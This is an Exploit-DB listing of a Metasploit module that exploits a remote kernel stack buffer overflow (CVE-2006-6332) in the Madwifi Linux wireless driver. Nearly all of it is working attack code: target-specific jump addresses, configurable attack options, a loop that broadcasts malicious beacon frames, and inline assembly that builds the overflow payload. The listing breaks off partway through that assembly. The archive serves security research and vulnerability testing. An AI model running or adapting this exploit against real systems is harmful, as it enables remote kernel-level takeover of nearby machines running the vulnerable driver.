Exploit-DB #16835
Description: Madwifi - SIOCGIWSCAN Buffer Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: madwifi_giwscan_cb.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

# Madwifi remote kernel exploit
# 100% reliable, doesn't crash wifi stack, can exploit
# same target multiple times
#
# Julien TINNES <julien at cr0.org>
# Laurent BUTTI <0x9090 at gmail.com>
#
# vuln in giwscan_cb, here's the path:
#
# ieee80211_ioctl_giwscan -> ieee80211_scan_iterate -> sta_iterate -> giwscan_cb
#

require 'msf/core'
require 'metasm'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Lorcon2

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Madwifi SIOCGIWSCAN Buffer Overflow',
			'Description'    => %q{
					The Madwifi driver under Linux is vulnerable to a remote kernel-mode
				stack-based buffer overflow.

				The vulnerability is triggered by one of these properly crafted
				information element: WPA, RSN, WME and Atheros OUI Current madwifi
				driver (0.9.2) and and all madwifi-ng drivers since r1504 are
				vulnerable

				Madwifi 0.9.2.1 release corrects the issue.

				This module has been tested against Ubuntu 6.10 and is 100% reliable,
				doesn\'t crash the Wifi stack and can exploit the same machine multiple
				time without the need to reboot it.

				This module depends on the Lorcon2 library and only works on the Linux
				platform with a supported wireless card. Please see the Ruby Lorcon2
				documentation (external/ruby-lorcon/README) for more information.
			},
			'Author'         =>
				[
					'Julien Tinnes <julien at cr0.org>',
					'Laurent Butti <0x9090 at gmail.com>'
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2006-6332'],
					['OSVDB', '31267'],
					['URL', 'http://www.madwifi.org']
				],
			#'Stance'         => Msf::Exploit::Stance::Passive,
			'Platform'       => 'linux',
			'Arch'		 => [ ARCH_X86 ],
			'Payload' =>
				{
					#'Space' => 65,
					# Metasploit doesn't support dynamic size payloads
					# so we will handle this in metasm instead and ask for
					# the smaller payload possible
					#'Encoder'	 => Msf::Encoder::Type::Raw,
					'DisableNops' => true
				},
			'Targets'        =>
				[
					[ 'Ubuntu 6.10',
						{
							'JMPESP' => 0xffffe777,
							'scan_iterate_ra' => "0x8014401"
						}
					],

					[ 'Generic (you need non randomized vdso)',
						{
							'JMPESP' => 0xffffe777,
							'scan_iterate_ra' => nil
						}
					]
				],
			'DisclosureDate' => 'Dec 08 2006'
		))

		register_options(
			[
				OptBool.new('SINGLESHOT', [ true, "Break after first victim (for msfcli)", 'false']),
				OptString.new('SSID', [ true, "The SSID of the emulated access point", 'test']),
				OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 600]),
				OptInt.new('LENGTH', [ true, "Length after local variables in giwscan_cb() to overwrite", 24]),
				OptString.new('ADDR_DST', [ true,  "The MAC address of the target system", 'FF:FF:FF:FF:FF:FF']),
			], self.class)
	end

	def exploit
		open_wifi

		#puts "kikoo " + payload.encoded.inspect
		#puts payload.encoded.to_s.unpack('C*').map { |i| i.to_s 16 }.join(',')

		stime = Time.now.to_i
		rtime = datastore['RUNTIME'].to_i
		count = 0

		print_status("Shellcode size is: #{payload.encoded.length} bytes")
		print_status("Creating malicious beacon frame...")

		frame = create_beacon()

		print_status("Sending malicious beacon frames for #{datastore['RUNTIME']} seconds...")

		while (stime + rtime > Time.now.to_i)
			wifi.write(frame)
			select(nil, nil, nil, 0.10) if (count % 100 == 0)
			count += 1
			break if session_created? and datastore['SINGLESHOT']
		end

		print_status("Completed sending #{count} beacons.")
	end


	def create_beacon

		ssid     = datastore['SSID'].to_s
		bssid    = Rex::Text.rand_text(6)
		channel  = datastore['CHANNEL'].to_i
		len      = datastore['LENGTH'].to_i
		seq      = [rand(255)].pack('n')
		jmpesp   = target['JMPESP']  # jmp esp in vdso

		# address just after the call (in ieee80211_scan_iterate in wlan.ko)
		scan_iterate_ra=target['scan_iterate_ra']

		if scan_iterate_ra
			howtoreturn = "RETURN_PROPERLY"   # Return to the parent of giwscan_cb parent
		else
			howtoreturn = "RETURN_BADLY"      # Return to userland with IRET
		end

		bssiwlist = 0x0804ddd0

		stacksize = "STACK_8K"
		getregs = "CALCULATE"
		#getregs = "IWANTTOSCANMANUALLY"
		reg_cs = "0x73"
		reg_ss = "0x7b"

		wiframe = Metasm::Shellcode.assemble Metasm::Ia32.new, <<EOS
#define #{stacksize} 1
#define #{getregs} 1
#define CS #{reg_cs}
#define SS #{reg_ss}
#define #{howtoreturn} 1

; chunk1
db 0, 0x50, 0xf2	; wpa_oui
db 1			; wpa_typ
db 1, 0			; wpa_ver

back2:
;push 0x1C
;ret

;cld

#ifdef RETURN_PROPERLY
mov ebx, esp		; save esp
#endif

#ifdef IWANTTOSCANMANUALLY
mov	eax, 4
checkforcs:
add esp, eax
cmp dword ptr [esp], 0x73	; scan for cs
jnz checkforcs

cmp dword ptr [esp+12], 0x7b	; scan for ss
jnz checkforcs

mov edi, dword ptr [esp+8] 	; put user stack address in edi
push edi

; NO SCAN, calculate the good value
#else


#ifdef STACK_8K
or	esp, (0x2000-1)	; assume 8K stack
#else
or	esp, (0x1000-1)	; assume 4K stack
#endif

sub	esp, 0x17		; cf return_from_syscall
mov edi, dword ptr [esp+8]
push edi

;  IWANTTOSCANMANUALLY
#endif

; We can also go to BSS instead of stack
;mov edi, #{bssiwlist}
;push edi

call endsc

beginsc:
#if 0
call greetings
toto db "You're pwn3d :(\\n"
greetings:
mov eax, 4
mov ebx, 1
pop ecx
mov edx, (greetings - toto)
int 0x80
#endif

xor eax, e